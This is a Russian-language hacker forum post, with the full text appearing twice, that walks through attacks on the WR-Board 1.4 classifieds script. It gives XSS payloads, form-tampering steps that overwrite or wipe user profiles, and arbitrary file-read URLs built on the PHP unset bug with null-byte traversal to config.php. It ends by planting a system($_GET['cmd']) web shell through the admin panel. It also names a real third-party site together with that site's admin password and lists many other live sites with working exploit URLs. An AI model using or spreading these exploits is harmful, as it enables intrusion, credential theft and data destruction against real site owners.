otmorozok428
01.05.2008, 02:09
На днях потестил доску объявлений WR-Board 1.4, представляю отчет о найденных глюках:
1. XSS
http://localhost/wrb/tools.php?event=viewfoto&foto='><script>alert()</script><'
http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=<script>alert()</script>&fid=21&id=14327
http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=LOH&fid=><script>alert()</script><&id=14327
http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=LOH&fid=21&id=><script>alert()</script><
К сожалению, все пассивные.
Есть активная XSS в cookies, параметр wrboardname
Otmorozok428<script>alert()</script>
Правда, при помощи неё можно утянуть только свои собственные куки. :)
2. Регистрация пользователя с уже существующим именем.
Хочу я, скажем, зарегистрировать юзера с ником Pupkin, а подлая борда говорит, что есть уже такой пользователь и обламывает процесс. Что делать? Регистрируем пользователя с ником, допустим, Vasya, идём на вкладку "Ваш профиль", открываем исходный код странички, ищем строчку
<FORM action='tools.php?event=reregistr' method=post>
и заменяем её на
<FORM action='http://localhost/tools.php?event=reregistr&ok=9' method=post>
Параметр 'ok=9' означает, что наш профиль после сохранения будет записан в девятую строчку от начала файла usersdat.php, где лежат профили всех юзеров, кроме админа. Профиль безвестного чувака, который лежит в девятой строчке, естественно, будет затерт - искусство требует жертв... Затем ищем ещё вот такую строчку
<input type=hidden name=login value='Vasya'>
и заменяем на
<input type=hidden name=login value='Pupkin'>
Сохраняем страничку на жесткий диск, открываем её оттуда и жмём кнопку "Сохранить изменения".
Всё, теперь в базе 2 пользователя с ником Pupkin. Если нужно, можно создать ещё. :)
Изменяя параметр ok от 0 до N, где N - количество пользователей, можно затереть всю базу, это будет DoS-атака...
3. Публикация сообщения от чужого имени.
Собственно, почти то же, что и в пункте 2, только не требуется добавление нового пользователя в базу и, соответственно, не надо затирать уже существующих юзеров. Выбираем пункт "Добавить объявление" и приводим 2 строчки в POST-формочке к такому виду
<FORM action='http://localhost/add.php?event=add&ok=1' method=post name=addForm enctype="multipart/form-data">
и
<input type=hidden name=name value='Pupkin'>
4. Просмотр произвольных файлов на сервере.
Существует возможность просмотра файлов, благодаря unset-багу для PHP4 < 4.4.3, PHP5 < 5.1.4. Подробнее про unset-уязвимость можно почитать, например, здесь:
http://forum.antichat.ru/thread54355.html
Смотрим код в файле index.php:
// ПОКАЗЫВАЕМ ТЕКУЩЕЕ ОБЪЯВЛЕНИЕ (ЛЕВЕЛ 3)
if (isset($_GET['fid']) and isset($_GET['id'])) { $fid=$_GET['fid'];
$error="Ошибка скрипта! Обратитесь к администратору - $adminemail";
$deleted="$back. Файл рубрики НЕ существует! Возможно администратор удалил данную рубрику.";
if (!isset($_GET['id'])) {print"$error"; exit;} $id=$_GET['id'];
if ($_GET['id']==="") {print "$error"; exit;}
if (is_file("$datadir/$fid.dat")) {$lines=file("$datadir/$fid.dat");}
$cy=count($lines)-1; $itogo=$cy; $i=$itogo;
if ($cy>=0) {unset($number); do {$dt=explode("|",$lines[$i]);
if ($dt[10]==$id) {$number=$i;} $i--;} while ($i >= 0);}
if (!isset($number)) {include "$topurl"; addtop(); print"<BR><BR><BR><BR><BR><center><font size=-1><B>Уважаемый
посетитель!</B><BR><BR>
Извините, но запрашиваемое Вами <B>объявление недоступно.</B><BR><BR>
Скорее всего, <B>закончился срок его показа</B>, и оно было удалено с доски.<BR><BR>
Вы можете <B><a href='index.php?fid=$fid'>перейти в раздел</a></B> где было размещено объявление.<BR>
Возможно, Вы найдёте похожее объявление в этом разделе.<BR><BR>
<B>Перейти на главную</B> страницу доски можно по <B><a href='index.php'>этой
ссылке</a></B><BR><BR><BR><BR><BR><BR><BR><BR><BR>";
} else {
...................................
какие-то действия
...................................
if (is_file("$datadir/$id.dat")) {
$rlines=file("$datadir/$id.dat");
................................
................................
}}
Видим, что если переменная $number инициализирована, имеется возможность запихнуть в качестве переменной $id имя какого-нибудь файла. При этом переменная $id вообще никак не фильтруется, а глючный кусок кода то ли остался от предыдущих версий, то ли используется в платной версии, но в версии Lite при штатной работе он вообще никак не задействован.
Далее, бежим на
http://lukasz.pilorz.net/testy/zend_hash
и по быстрому вычисляем хеши для переменной $number, они такие
-305479930 для PHP4
807219790 для PHP5
Теперь, пробуем создавать действительно правильные запросы... Скрипт, конечно, будет очень сильно материться, но выполняться... Смотрим содержимое файла newmsg.dat
http://localhost/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2 //PHP4
http://localhost/index.php?fid=2&id=newmsg&number=807219790&807219790=2 //PHP5
Получаем, содержимое файла usersdat.php:
http://localhost/index.php?fid=2&id=usersdat.php%00&number=-305479930&-305479930=2 //PHP4
http://localhost/index.php?fid=2&id=usersdat.php%00&number=807219790&807219790=2 //PHP5
Посмотрим файлик config.php (здесь, кстати, лежит админский пасс)
http://localhost/wrb/index.php?fid=2&id=../config.php%00&number=-305479930&-305479930=2 //для PHP 4
http://localhost/wrb/index.php?fid=2&id=../config.php%00&number=807219790&807219790=2 //для PHP5
Короче, unset-баг самый вкусный... К сожалению, на все 100% заюзать баг мне удалось только здесь:
http://city-45.ru/board/index.php
Админский пасс: krot_2002
Вообще же, мне удалось обнаружить большое количество сайтов, где unset-бага достаточно успешно работает, но %00 почему-то не катит... Например,
http://www.board.lobnya.biz/index.php?fid=2&id=usersdat.php%00&number=-305479930&-305479930=1
http://viaduk.podolchanin.ru/index.php?fid=2&id=newmsg&number=807219790&807219790=2
http://www.koap.ru/do/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2
http://kupi-prodam.hut2.ru/index.php?fid=9&id=newmsg&number=-305479930&-305479930=2
http://kotlassdelka.ru/index.php?fid=98&id=newmsg&number=-305479930&-305479930=1
http://www.disv.ru/board/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2
http://www.doska777.org.ua/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2
http://www.stupino.org/board/index.php?fid=3&id=newmsg&number=-305479930&-305479930=2
http://kat.3vr.ru/board/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2
http://www.rozavetrov.biz/board/index.php?fid=7&id=newmsg&number=-305479930&-305479930=2
http://doska.magek.ru/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2
http://www.57.org.ua/index.php?fid=9&id=newmsg&number=-305479930&-305479930=2
http://www.5825200.ru/board/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2
Если, кто-нить знает что не так с %00, отпишитесь, плз...
Заключение: Получение шелла
Идем в админку (файл admin.php), логинимся с админским пассом из файла config.php, заходим на вкладку "Конфигурация" и в пункте "Относительный путь до папки с данными доски" прописываем
./data"; if (isset($_GET['cmd'])){system($_GET['cmd']);}//
Сохраняем конфигурацию. Всё, шелл готов к работе!
*****
1. XSS
http://localhost/wrb/tools.php?event=viewfoto&foto='><script>alert()</script><'
http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=<script>alert()</script>&fid=21&id=14327
http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=LOH&fid=><script>alert()</script><&id=14327
http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=LOH&fid=21&id=><script>alert()</script><
К сожалению, все пассивные.
Есть активная XSS в cookies, параметр wrboardname
Otmorozok428<script>alert()</script>
Правда, при помощи неё можно утянуть только свои собственные куки. :)
2. Регистрация пользователя с уже существующим именем.
Хочу я, скажем, зарегистрировать юзера с ником Pupkin, а подлая борда говорит, что есть уже такой пользователь и обламывает процесс. Что делать? Регистрируем пользователя с ником, допустим, Vasya, идём на вкладку "Ваш профиль", открываем исходный код странички, ищем строчку
<FORM action='tools.php?event=reregistr' method=post>
и заменяем её на
<FORM action='http://localhost/tools.php?event=reregistr&ok=9' method=post>
Параметр 'ok=9' означает, что наш профиль после сохранения будет записан в девятую строчку от начала файла usersdat.php, где лежат профили всех юзеров, кроме админа. Профиль безвестного чувака, который лежит в девятой строчке, естественно, будет затерт - искусство требует жертв... Затем ищем ещё вот такую строчку
<input type=hidden name=login value='Vasya'>
и заменяем на
<input type=hidden name=login value='Pupkin'>
Сохраняем страничку на жесткий диск, открываем её оттуда и жмём кнопку "Сохранить изменения".
Всё, теперь в базе 2 пользователя с ником Pupkin. Если нужно, можно создать ещё. :)
Изменяя параметр ok от 0 до N, где N - количество пользователей, можно затереть всю базу, это будет DoS-атака...
3. Публикация сообщения от чужого имени.
Собственно, почти то же, что и в пункте 2, только не требуется добавление нового пользователя в базу и, соответственно, не надо затирать уже существующих юзеров. Выбираем пункт "Добавить объявление" и приводим 2 строчки в POST-формочке к такому виду
<FORM action='http://localhost/add.php?event=add&ok=1' method=post name=addForm enctype="multipart/form-data">
и
<input type=hidden name=name value='Pupkin'>
4. Просмотр произвольных файлов на сервере.
Существует возможность просмотра файлов, благодаря unset-багу для PHP4 < 4.4.3, PHP5 < 5.1.4. Подробнее про unset-уязвимость можно почитать, например, здесь:
http://forum.antichat.ru/thread54355.html
Смотрим код в файле index.php:
// ПОКАЗЫВАЕМ ТЕКУЩЕЕ ОБЪЯВЛЕНИЕ (ЛЕВЕЛ 3)
if (isset($_GET['fid']) and isset($_GET['id'])) { $fid=$_GET['fid'];
$error="Ошибка скрипта! Обратитесь к администратору - $adminemail";
$deleted="$back. Файл рубрики НЕ существует! Возможно администратор удалил данную рубрику.";
if (!isset($_GET['id'])) {print"$error"; exit;} $id=$_GET['id'];
if ($_GET['id']==="") {print "$error"; exit;}
if (is_file("$datadir/$fid.dat")) {$lines=file("$datadir/$fid.dat");}
$cy=count($lines)-1; $itogo=$cy; $i=$itogo;
if ($cy>=0) {unset($number); do {$dt=explode("|",$lines[$i]);
if ($dt[10]==$id) {$number=$i;} $i--;} while ($i >= 0);}
if (!isset($number)) {include "$topurl"; addtop(); print"<BR><BR><BR><BR><BR><center><font size=-1><B>Уважаемый
посетитель!</B><BR><BR>
Извините, но запрашиваемое Вами <B>объявление недоступно.</B><BR><BR>
Скорее всего, <B>закончился срок его показа</B>, и оно было удалено с доски.<BR><BR>
Вы можете <B><a href='index.php?fid=$fid'>перейти в раздел</a></B> где было размещено объявление.<BR>
Возможно, Вы найдёте похожее объявление в этом разделе.<BR><BR>
<B>Перейти на главную</B> страницу доски можно по <B><a href='index.php'>этой
ссылке</a></B><BR><BR><BR><BR><BR><BR><BR><BR><BR>";
} else {
...................................
какие-то действия
...................................
if (is_file("$datadir/$id.dat")) {
$rlines=file("$datadir/$id.dat");
................................
................................
}}
Видим, что если переменная $number инициализирована, имеется возможность запихнуть в качестве переменной $id имя какого-нибудь файла. При этом переменная $id вообще никак не фильтруется, а глючный кусок кода то ли остался от предыдущих версий, то ли используется в платной версии, но в версии Lite при штатной работе он вообще никак не задействован.
Далее, бежим на
http://lukasz.pilorz.net/testy/zend_hash
и по быстрому вычисляем хеши для переменной $number, они такие
-305479930 для PHP4
807219790 для PHP5
Теперь, пробуем создавать действительно правильные запросы... Скрипт, конечно, будет очень сильно материться, но выполняться... Смотрим содержимое файла newmsg.dat
http://localhost/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2 //PHP4
http://localhost/index.php?fid=2&id=newmsg&number=807219790&807219790=2 //PHP5
Получаем, содержимое файла usersdat.php:
http://localhost/index.php?fid=2&id=usersdat.php%00&number=-305479930&-305479930=2 //PHP4
http://localhost/index.php?fid=2&id=usersdat.php%00&number=807219790&807219790=2 //PHP5
Посмотрим файлик config.php (здесь, кстати, лежит админский пасс)
http://localhost/wrb/index.php?fid=2&id=../config.php%00&number=-305479930&-305479930=2 //для PHP 4
http://localhost/wrb/index.php?fid=2&id=../config.php%00&number=807219790&807219790=2 //для PHP5
Короче, unset-баг самый вкусный... К сожалению, на все 100% заюзать баг мне удалось только здесь:
http://city-45.ru/board/index.php
Админский пасс: krot_2002
Вообще же, мне удалось обнаружить большое количество сайтов, где unset-бага достаточно успешно работает, но %00 почему-то не катит... Например,
http://www.board.lobnya.biz/index.php?fid=2&id=usersdat.php%00&number=-305479930&-305479930=1
http://viaduk.podolchanin.ru/index.php?fid=2&id=newmsg&number=807219790&807219790=2
http://www.koap.ru/do/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2
http://kupi-prodam.hut2.ru/index.php?fid=9&id=newmsg&number=-305479930&-305479930=2
http://kotlassdelka.ru/index.php?fid=98&id=newmsg&number=-305479930&-305479930=1
http://www.disv.ru/board/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2
http://www.doska777.org.ua/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2
http://www.stupino.org/board/index.php?fid=3&id=newmsg&number=-305479930&-305479930=2
http://kat.3vr.ru/board/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2
http://www.rozavetrov.biz/board/index.php?fid=7&id=newmsg&number=-305479930&-305479930=2
http://doska.magek.ru/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2
http://www.57.org.ua/index.php?fid=9&id=newmsg&number=-305479930&-305479930=2
http://www.5825200.ru/board/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2
Если, кто-нить знает что не так с %00, отпишитесь, плз...
Заключение: Получение шелла
Идем в админку (файл admin.php), логинимся с админским пассом из файла config.php, заходим на вкладку "Конфигурация" и в пункте "Относительный путь до папки с данными доски" прописываем
./data"; if (isset($_GET['cmd'])){system($_GET['cmd']);}//
Сохраняем конфигурацию. Всё, шелл готов к работе!
*****